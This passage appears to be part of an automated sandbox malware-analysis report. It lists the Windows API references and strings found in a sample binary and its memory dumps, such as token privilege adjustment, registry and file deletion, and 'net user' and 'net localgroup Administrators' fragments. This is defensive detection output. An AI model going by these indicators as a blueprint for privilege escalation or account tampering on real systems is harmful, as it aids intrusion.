"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp")99:T46c,Found reference to API "GetComputerNameA" (Indicator: "GetComputerName"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetComputerNameExW" (Indicator: "GetComputerName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetComputerNameW" (Indicator: "GetComputerName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetComputerNameExW" (Indicator: "GetComputerName"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetComputerNameExW" (Indicator: "GetComputerName"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetComputerNameA" (Indicator: "GetComputerName"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetComputerNameA" (Indicator: "GetComputerName"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9a:T674,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9b:T5dd,Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "NtQueueApcThreadGetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "NtQueueApcThreadGetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9c:T57b,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp, 00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9d:Tfa8,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcessToken"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcessToken"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9e:T526,Found string "net user "" (Indicator: "net user"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp"), Found string "net localgroup "Administrators" "" (Indicator: "net localgroup"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found string "HostName" (Indicator: "hostname"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "net user "" (Indicator: "net user"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp"), Found string "net localgroup "Administrators" "" (Indicator: "net localgroup"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found string "net user "" (Indicator: "net user"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp 00000000-00003036.00000000.250189.06030000.00000004.mdmp"), Found string "net localgroup "Administrators" "" (Indicator: "net localgroup"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found string "HostName" (Indicator: "hostname"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "HostName" (Indicator: "hostname"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")9f:Tb66,Found registry deletion API: "RegDeleteValueA" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry deletion API: "RegDeleteKeyA" in file "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry deletion API: "RegDeleteKeyW" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry deletion API: "RegDeleteValueW" in file "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin" Found registry deletion API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry deletion API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry deletion API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry deletion API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry deletion API: "RegDeleteValueA" in "00000000-00003424.00000000.250126.0015A000.00000002.mdmp" Found registry deletion API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry deletion API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyA" in "00000000-00003780.00000000.250951.26E51000.00000040.mdmp" Found registry deletion API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry deletion API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry deletion API: "" in "00000000-00004348.00000000.250872.02F50000.00000004.mdmp" Found registry deletion API: "" in "00000000-00004348.00000000.250872.02F50000.00000004.mdmp" Found registry deletion API: "RegDeleteKeyA" in "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp" Found registry deletion API: "" in "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp" Found registry deletion API: "" in "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp"a0:T707,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found string "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") file/memory contains long string with (Indicator: "OpenProcess"; File: "windowsservice.exe") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found string "OpenProcessToken.3" (Indicator: "OpenProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")a1:T99b,Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00000244.00000000.250409.03A60000.00000002.mdmp") Found string "NDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00003424.00000000.250126.03710000.00000002.mdmp") Found string "NDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00003780.00000000.250951.E7FF0000.00000002.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00004348.00000000.250872.03260000.00000002.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "m32\drivers\SandboxFltr.sys" (Indicator: "\drivers\"; Source: "00000000-00004992.00000000.250516.89A10000.00000002.mdmp")a2:T1019,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "33086920458,4672,3136,,RemoveDirectoryA,kernel32.dll,"01:05:17.390",RX=0,PX=0" (Indicator: "RemoveDirectory"; Source: "00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp")a3:T888,Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AdjustTokenPrivileges.+" (Indicator: "AdjustTokenPrivileges"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00003424.00000000.250126.00151000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003424.00000000.250126.00151000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges.+" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004348.00000000.250872.00CB1000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp")a4:Tb74,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SetFileAttributesW" (Indicator: "SetFileAttributes"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp")a5:T1180,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "AddAccessAllowedAce" 